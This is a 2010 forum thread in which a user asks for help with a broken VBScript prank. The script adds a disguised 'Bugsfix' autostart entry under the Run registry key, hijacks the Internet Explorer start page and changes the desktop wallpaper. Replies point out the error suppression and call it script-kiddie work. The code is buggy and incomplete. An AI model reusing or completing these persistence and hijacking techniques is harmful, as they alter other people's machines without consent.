VBS problem

September 1, 2010 at 05:17:18
Specs: Windows XP, 3327
I want this programm to make a registry note at "Run" but it doesnt work it doesnt say bug it works but it doesnt make the registry note help please!
_____________________________________________________________________________

On Error Resume Next
downread,regcreate
if (downread="") then
downread="c:\"
end if
x =msgbox("Please check if jigte.jpg exists!?",3+16,"Check!")
On Error Resume Next
Set objWshShell = CreateObject("WScript.Shell")

strHomePage = "http://www.youtube.com/watch?v=_SPhRRS-saM"
if (fileexist(downread&"\lol.vbs")=0) then regcreate "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Bugsfix",downread&"\lol.vbs"
objWshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", strHomePage
Set objWshShell = Nothing


See More: VBS problem

Report •


#1
September 1, 2010 at 17:35:46
it doesnt work it doesnt say bug
That's because you disabled its ability to report errors.

Report •

#2
September 2, 2010 at 07:49:18
Please read fully! I can run it but it doesnt add the registry keys if it has a bug it shows : Error!! Function end required...
like this but it runs but it adds no key!

Report •

#3
September 2, 2010 at 08:01:14
No, I see at least three errors.
You don't see them, and VBS doesn't report them because you added On Error Resume Next. Plugging your ears and shouting, "LA, LA, LA!" doesn't make the errors go away.

I'd be more helpful, but I thought we got rid of this type of script kiddie stuff years ago.


Report •

Related Solutions

#4
September 2, 2010 at 10:07:10
Dude please help me if not then please dont write junk!

Report •

#5
September 2, 2010 at 10:09:38
I am helping, but you're not listening.

Report •

#6
September 2, 2010 at 11:02:58
@hans1324

Remove the "On Error Resume Next" line from the script. Read the errors that come up and at least try to fix them yourself. =/

Can I put a question here?


Report •

#7
September 2, 2010 at 11:11:37
new code help please
__________________________________________________________________

if (downread="") then
downread="c:\"
end if
x =msgbox("Please check if jigte.jpg exists!?",3+16,"Check!")
Set objWshShell = CreateObject("WScript.Shell")
strHomePage = "http://www.youtube.com/watch?v=_SPhRRS-saM"
if (value=0) then regcreate "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\lol.vbs"
objWshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", strHomePage
Set objWshShell = Nothing
dim wshShell
dim sUserName

Set wshShell = WScript.CreateObject("WScript.Shell")
sUserName = wshShell.ExpandEnvironmentStrings("%USERNAME%")

Set oShell = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")

sWinDir = oFSO.GetSpecialFolder(0)
sWallPaper = "dim wshShell"
dim UserName

Set wshShell = WScript.CreateObject("WScript.Shell")
sUserName = wshShell.ExpandEnvironmentStrings("%USERNAME%")

Set oShell = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")

sWinDir = oFSO.GetSpecialFolder(0)
sWallPaper = "(this space should find cool.bmp help please)"
oShell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", sWallPaper
oShell.Run "%windir%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True


Report •


Ask Question